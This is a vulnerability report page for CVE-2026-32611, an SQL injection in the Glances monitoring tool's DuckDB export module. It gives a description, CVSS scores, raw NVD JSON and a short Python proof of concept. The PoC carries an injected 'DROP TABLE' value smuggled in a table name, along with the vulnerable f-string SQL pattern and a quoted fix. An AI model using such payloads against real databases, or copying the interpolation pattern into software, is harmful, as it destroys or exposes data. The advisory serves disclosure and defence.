Security Vulnerability Report
中文
CVE-2026-32611 CVSS 7.0 HIGH

CVE-2026-32611

Published: 2026-03-18 18:16:29
Last Modified: 2026-03-19 19:11:13

Description

Glances is an open-source system cross-platform monitoring tool. The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and `psycopg.sql` composable objects. However, the DuckDB export module (`glances/exports/glances_duckdb/__init__.py`) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (`?` placeholders), the DDL construction and table name references do not escape or parameterize identifier names. Version 4.5.3 provides a more complete fix.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:* - VULNERABLE
Glances < 4.5.3 (DuckDB export module)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-32611 PoC - DuckDB SQL Injection in Glances # This PoC demonstrates SQL injection via table name in DuckDB export module import duckdb # Simulate the vulnerable code pattern from glances/exports/glances_duckdb/__init__.py def vulnerable_table_creation(table_name): """Vulnerable function that directly interpolates table name into SQL""" # This is the vulnerable pattern: direct interpolation of user-controlled input sql = f"CREATE TABLE IF NOT EXISTS {table_name} (id INTEGER, value TEXT)" return sql def vulnerable_insert(table_name, values): """INSERT uses parameterized query but table name is still vulnerable""" sql = f"INSERT INTO {table_name} VALUES (?, ?)" return sql, values # Malicious input simulating attacker-controlled monitoring data malicious_table_name = "stats; DROP TABLE users;--" # Execute vulnerable SQL conn = duckdb.connect(':memory:') cursor = conn.cursor() try: # Attempt to create table with malicious name sql = vulnerable_table_creation(malicious_table_name) print(f"[+] Generated SQL: {sql}") cursor.execute(sql) print("[!] Table created - potential injection vulnerability") except Exception as e: print(f"[-] Error: {e}") # Safer approach using identifier quoting def safe_table_creation(table_name): """Fixed version using proper identifier escaping""" # Use backticks or double quotes to escape identifiers escaped_name = f'"{table_name.replace("\"", "\"\"")}"' sql = f"CREATE TABLE IF NOT EXISTS {escaped_name} (id INTEGER, value TEXT)" return sql print("\n[+] Safe version:") safe_sql = safe_table_creation(malicious_table_name) print(f" Generated SQL: {safe_sql}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32611", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:28.593", "lastModified": "2026-03-19T19:11:13.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Glances is an open-source system cross-platform monitoring tool. The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and `psycopg.sql` composable objects. However, the DuckDB export module (`glances/exports/glances_duckdb/__init__.py`) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (`?` placeholders), the DDL construction and table name references do not escape or parameterize identifier names. Version 4.5.3 provides a more complete fix."}, {"lang": "es", "value": "Glances es una herramienta de monitoreo de sistema multiplataforma de código abierto. La corrección GHSA-x46r (commit 39161f0) abordó la inyección SQL en el módulo de exportación de TimescaleDB al convertir todas las operaciones SQL para usar consultas parametrizadas y objetos componibles psycopg.sql. Sin embargo, el módulo de exportación de DuckDB (glances/exports/glances_duckdb/__init__.py) no fue incluido en esta corrección y contiene la misma clase de vulnerabilidad: los nombres de tabla y los nombres de columna derivados de las estadísticas de monitoreo se interpolan directamente en las sentencias SQL a través de f-strings. Si bien los valores INSERT de DuckDB ya usan consultas parametrizadas (marcadores de posición ?), la construcción DDL y las referencias a nombres de tabla no escapan ni parametrizan los nombres de identificador. La versión 4.5.3 proporciona una corrección más completa."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.2", "matchCriteriaId": "3FC19E01-80F1-43BB-912C-39FE99143A59"}]}]}], "references": [{"url": "https://github.com/nicolargo/glances/commit/63b7da28895249d775202d639e5531ba63491a5c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-49g7-2ww7-3vf5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-49g7-2ww7-3vf5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}